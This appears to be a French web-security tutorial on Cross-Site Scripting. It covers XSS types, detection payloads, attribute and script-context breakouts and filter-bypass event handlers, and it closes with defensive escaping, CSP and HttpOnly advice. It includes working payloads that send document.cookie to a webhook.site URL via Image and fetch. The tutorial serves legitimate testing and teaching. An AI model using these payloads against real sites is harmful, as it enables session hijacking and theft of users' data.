Aller au contenu

Cross-Site Scripting (XSS)

Le Cross-Site Scripting (XSS) permet à un attaquant d’injecter du code JavaScript dans une page web. Ce code s’exécute dans le navigateur d’un autre utilisateur, dans le contexte de confiance du site ciblé : il peut lire les cookies de session, capturer les frappes clavier, rediriger vers une page de phishing, ou exfiltrer des données.

Type Mécanisme Persistance
Reflected L’input de l’utilisateur est renvoyé directement dans la réponse HTTP (résultat de recherche, message d’erreur) Non, la victime doit cliquer sur un lien forgé
Stored Le payload est stocké en base de données et affiché à chaque consultation (commentaire, profil, message) Oui, tout visiteur de la page est affecté
DOM-based Le code JavaScript de la page écrit l’input dans le DOM sans passer par le serveur Non, entièrement côté client

La variante stored est la plus dangereuse : un seul payload compromet tous les utilisateurs qui consultent la ressource infectée.

La première étape consiste à identifier les champs qui reflètent l’input dans la page : champs de recherche, formulaires de commentaire, paramètres GET affichés dans l’interface, champs de profil utilisateur.

Soumettre un payload de détection basique dans chaque champ et observer la réponse :

<script>alert(1)</script>

Si une boîte de dialogue s’ouvre, l’injection fonctionne et le champ n’échappe pas les balises HTML. Si rien ne se passe, inspecter le code source de la page pour localiser où l’input a été inséré et comprendre comment il a été traité.

#"><img src=/ onerror=alert(document.cookie)>

Ce payload est utile lorsque les balises <script> sont filtrées mais que les balises HTML ne le sont pas. Le navigateur tente de charger une image à l’URL /, échoue, et exécute l’attribut onerror. L’appel à document.cookie dans l’alerte confirme que l’attaquant peut lire les cookies de session.

Le préfixe #"> tente de fermer un attribut ou une balise ouvertes si l’input est injecté à l’intérieur d’un attribut HTML, de la forme :

<input value="[INPUT]">
<!-- devient -->
<input value="#"><img src=/ onerror=alert(document.cookie)>

alert() confirme l’exécution de code, mais ne démontre pas d’impact réel. Pour prouver l’exfiltration de données, un serveur qui reçoit des requêtes HTTP sortantes est nécessaire.

webhook.site génère une URL unique qui enregistre toutes les requêtes reçues, avec les headers, le body, et les paramètres. C’est un outil de réception sans configuration.

  1. Ouvrir webhook.site, une URL unique est générée automatiquement, de la forme https://webhook.site/xxxx-xxxx-xxxx.
  2. Copier cette URL.
  3. Construire un payload qui envoie les cookies de session vers cette URL :
<script>
new Image().src = "https://webhook.site/xxxx-xxxx-xxxx?c=" + document.cookie;
</script>

ou via fetch pour plus de contrôle :

<script>
fetch("https://webhook.site/xxxx-xxxx-xxxx", {
method: "POST",
body: document.cookie
});
</script>
  1. Injecter ce payload dans le champ vulnérable.
  2. Consulter webhook.site : la requête apparaît avec les cookies de la victime dans le paramètre c ou dans le body.

Chaque requête reçue est listée en temps réel avec :

  • L’IP source
  • Les headers HTTP (dont Referer et User-Agent)
  • Les paramètres GET
  • Le body de la requête

Dans le contexte d’un test, cela permet de confirmer que les cookies d’un compte de test sont bien exfiltrés par le payload.

Si l’input est réfléchi à l’intérieur d’un attribut :

<input type="text" value="[INPUT]" />

Fermer l’attribut et la balise pour injecter un événement :

" onmouseover="alert(1)
" autofocus onfocus="alert(1)

Si l’input est réfléchi dans un contexte JavaScript côté serveur :

<script>
var query = "[INPUT]";
</script>

Sortir du contexte de chaîne :

"; alert(1); var x = "

Certains filtres bloquent la balise <script> mais pas les gestionnaires d’événements :

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>

La protection repose sur l’échappement systématique des données avant leur insertion dans la page. La méthode dépend du contexte d’insertion :

  • Dans le HTML : encoder <, >, ", ', & en entités HTML (&lt;, &gt;…)
  • Dans un attribut : encoder les guillemets
  • Dans du JavaScript : ne jamais injecter de données non contrôlées dans un contexte JS côté serveur
  • En-tête HTTP : configurer Content-Security-Policy pour restreindre les origines de scripts autorisées
  • Cookie : ajouter le flag HttpOnly pour les cookies de session afin qu’ils ne soient pas lisibles par JavaScript

L’utilisation des templates modernes (React, Vue, Angular) offre une protection par défaut contre le XSS réfléchi et stocké, à condition de ne pas utiliser des mécanismes qui désactivent l’échappement automatique (dangerouslySetInnerHTML, v-html, innerHTML).

Tout input utilisateur affiché dans une page sans échappement est un vecteur XSS potentiel. alert(document.cookie) confirme l’exécution de code, webhook.site démontre l’exfiltration. En contexte réel, un XSS stored sur une page consultée par des administrateurs donne un accès direct à leurs sessions.